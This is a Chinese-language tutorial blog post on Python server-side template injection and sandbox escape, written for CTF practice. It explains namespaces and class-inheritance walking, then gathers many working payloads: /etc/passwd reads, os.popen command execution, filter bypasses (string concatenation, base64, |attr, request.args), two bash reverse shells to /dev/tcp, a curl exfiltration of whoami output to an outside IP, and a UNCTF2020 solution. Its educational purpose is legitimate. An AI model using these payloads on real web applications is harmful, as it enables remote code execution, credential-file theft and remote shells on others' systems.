浅析Python SSTI/沙盒逃逸

 

前言

之前也接触过什么是SSTI,但大多以题目进行了解,很多模块以及payload都不了解其意就直接拿过来用,感觉并没有学到什么东西,最主要的是在绕过的过程中,不清楚原理没有办法构造,这次就好好来学习一下原理以及姿势

 

一、基础知识

0x00:沙盒逃逸

沙箱逃逸,就是在一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程

0x01:python的内建函数

启动python解释器时,即使没有创建任何变量或函数,还是会有很多函数可供使用,这些就是python的内建函数

在python交互模式下,使用命令dir('builtins')即可查看当前python版本的一些内建变量、内建函数

内建函数非常强大,可以调用一切函数

0x02:名称空间

内建函数是怎么工作的哪?就需要了解一下名称空间

python的名称空间,是从名称到对象的映射,在python程序的执行过程中,至少会存在两个名称空间。

1、内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字
2、全局名称空间:在执行文件时,存放文件级别定义的名字
3、局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效

加载顺序:

  • 内置名称空间—>全局名称空间—>局部名称空间

名字的查找顺序:

  • 局部名称空间—>全局名称空间—>内置名称空间

在python中,初始的builtins模块提供内建名称空间到内建对象的映射

在没有提供对象的时候,将会提供当前环境所导入的所有模块,不管是哪个版本,可以看到__builtins__是做为默认初始模块出现的,使用dir()命令查看一下__builtins__

可以看到有很多关键字

__import__ open

这也就是为什么python解释器里能够直接使用某些函数的原因,加载顺序操作python解释器会自动执行,所以我们能直接看到一个函数被使用,如:使用print函数

0x03:类继承

上面了解了什么是名称空间,要学会构造SSTI的payload,还需要学习一下类继承,那什么是类继承那?

python中一切均为对象,均继承于object对象,python的object类中集成了很多的基础函数,假如我们需要在payload中使用某个函数就需要用object去操作。

常见的继承关系的方法有以下三种:

  1. __base__:对象的一个基类,一般情况下是object
  2. __mro__:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层所以在列表中的最后,通过__mro__[-1]可以获取到
  3. __subclasses__() :继承此对象的子类,返回一个列表

考察SSTI的CTF题目一般都是给个变量,因为有这些类继承的方法,便可以从任何一个变量,回溯到基类中去,再获得到此基类所有实现的类,这便是攻击方式:

从变量->对象->基类->子类遍历->全局变量

找到我们想要的模块或者函数,然后进行构造payload。

0x04:常见payload分析

通过掌握上面的基础知识便可以来简单分析一下常见的payload,如:

#python2
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()

先来了解一些内建属性的作用:

  1. __class__ 返回调用的参数类型
  2. __bases__ 返回类型列表
  3. __globals__ 以字典类型返回当前位置的全部全局变量

将payload拆解下,一点一点来看

1、''返回的是字符串类型

2、加上__mro__返回的是继承链关系

3、再添加上__subclasses__()返回的便是类的所有子类

定位到需要的子类

4、接下来添加上 __init__用传入的参数来初始化实例,使用__globals__以字典返回内建模块

5、调用成功,接下来就可以执行命令了

如果是python3的话,那这个payload就需要重新修改,因为python3返回的不再是site.Printer类,而是ContextVar

''.__class__.__mro__[-1].__subclasses__()[72]返回的是ContextVar类

如果一个一个去找太麻烦,可以使用命令

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)

__subclasses__()每个字类都返回出来

这样便方便找到自己想要的子类

0x05:考察的Web框架及模板引擎

一般出SSTI题考察的Web框架有以下几种:

  1. flask
  2. Tornado
  3. Django

因为每个框架涉及的知识都很多,这里就不再详细记录了,只记录一下在做题的时候可能会遇到的配置文件

Tornadohandler.settings

这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一

handler.settings-> RequestHandler.application.settings
可以获取当前application.settings,从中获取到敏感信息

[护网杯 2018]easy_tornado便考察了这个点

flaks:内置函数

config 是Flask模版中的一个全局对象,代表“当前配置对象(flask.config)”,是一个类字典的对象,包含了所有应用程序的配置值。在大多数情况下,包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。

  1. url_for() — 用于反向解析,生成url
    1. get_flashed_messages() — 用于获取flash消息
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}

如果过滤了{{config}}且框架是flask的话便可以使用如下payload进行代替

{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config}}

shrine便考察了这个知识点

模板引擎有以下几种:

  1. jinja2
  2. Twig
  3. Smarty(PHP)
  4. Mako

要判断是哪个模板引擎,可以参考下图或者使用工具tplmap进行检测

0x06:Python常用的命令执行方式

1、os.system()

该方法的参数就是string类型的命令,在linux上,返回值为执行命令的exit值;而windows上,返回值则是运行命令后,shell的返回值。
注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)

2、os.popen()

返回的是file read的对象,如果想获取执行命令的输出,则需要调用该对象的read()方法

 

二、姿势汇总

0x00:做题思考

一般遇到SSTI的题目时都是直接去搜现成的payload,然后进行套用,但有的时候考察的点或者是python环境不同,就可能出现上面的类差异,从而导致payload无法正常使用,解不出题来

所以在做题的时候就要思考,需要的是什么模块,比如想要os模块,那么就可以通过编写脚本查找os模块就会非常方便一些

python2

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print num,item
        num+=1
    except:
        num+=1

python3

原理相同,但是python3环境变化了,例如python2下有file而python3没有,所以直接用open。
python3的利用主要索引在于builtins,找到了它便可以利用其中的eval、open等等来执行想要的操作

#!/usr/bin/python3
# coding=utf-8
# python 3.5
#jinja2模板
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

0x01:常见payload

有现成的payload肯定用起来香啊,还是总结一些,方便之后自己再做类似的题目参考

python2

#python2有file
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
#request.environ
与服务器环境相关的对象字典

python3

#python3没有file,用的是open
#文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

https://github.com/payloadbox/ssti-payloads

其他的就不再一一列举了,可以参考Github上的。

0x02:Bypass姿势

拼接绕过

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

编码绕过

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(
#等价于
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

过滤中括号[]

#使用getitem()\pop()
__mro__[2]== __mro__.__getitem__(2)
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

过滤{{或}}

使用{%进行绕过

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

过滤_ 和引号

可以用|attr绕过

{{()|attr(request.values.a)}}&a=class

使用request对象绕过,假设过滤了__class__,可以使用下面的形式进行替代

#1
{{''[request.args.t1]}}&t1=__class__
#若request.args改为request.values则利用post的方式进行传参
#2
{{''[request['args']['t1']]}}&t1=__class__
#若使用POST,args换成form即可

过滤.

可以使用attr()[]绕过

#attr()
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
#[]
{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}

reload

如果reload可以用则可以重载,从而恢复内建函数

reload(__builtins__)

 

三、题目实践

UNCTF2020-easyflask

存在SSTI,先fuzz一下,看看都过滤什么

import requests
from time import sleep

dic = ['config','class', 'bases','_','\'','subclasses', '[', '(', 'read', 'mro', 'init', 'globals', 'builtins', 'file', 'func_globals', 'linecache', 'system', 'values', 'import', 'module', 'call', 'name', 'getitem', 'pop', 'args', 'path', 'popen', 'eval', 'end', 'for', 'if', 'config']

pass_dic = []

for i in dic:
    url = "http://6f38b1e6-520d-47ff-a72b-14e481f513cb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={}".format(i)       
    res = requests.get(url=url).text
    # print(res)
    # sleep(1)
    if 'black list filter' in res:
        pass_dic.append(i)
        print(pass_dic)

过滤了' _ [ ],那接下来就要思考怎么去构造payload了,上面总结的payload直接拿来用肯定会被过滤,因为大多数涉及到了[,但可以使用|attrrequest.args.xx来绕过下划线和引号,只要明白原理,便可以使用上面的payload修改一下即可

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

拿这个payload进行修改之后

{{()|attr(request.args.class)|attr(request.args.bases)|attr(request.args.subclasses)()|attr(request.args.getitem)(117)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.d)(request.args.e)(request.args.f)|attr(request.args.g)()}}&class=__class__&bases=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&d=get&e=popen&f=cat flag.txt&g=read

payload有很多,只要能从基类获取到全局变量,之后一步一步调用就可以

 

参考博客

https://blog.csdn.net/weixin_44604541/article/details/109048578
https://www.anquanke.com/post/id/188172
https://www.cnblogs.com/-chenxs/p/11971164.html

(完)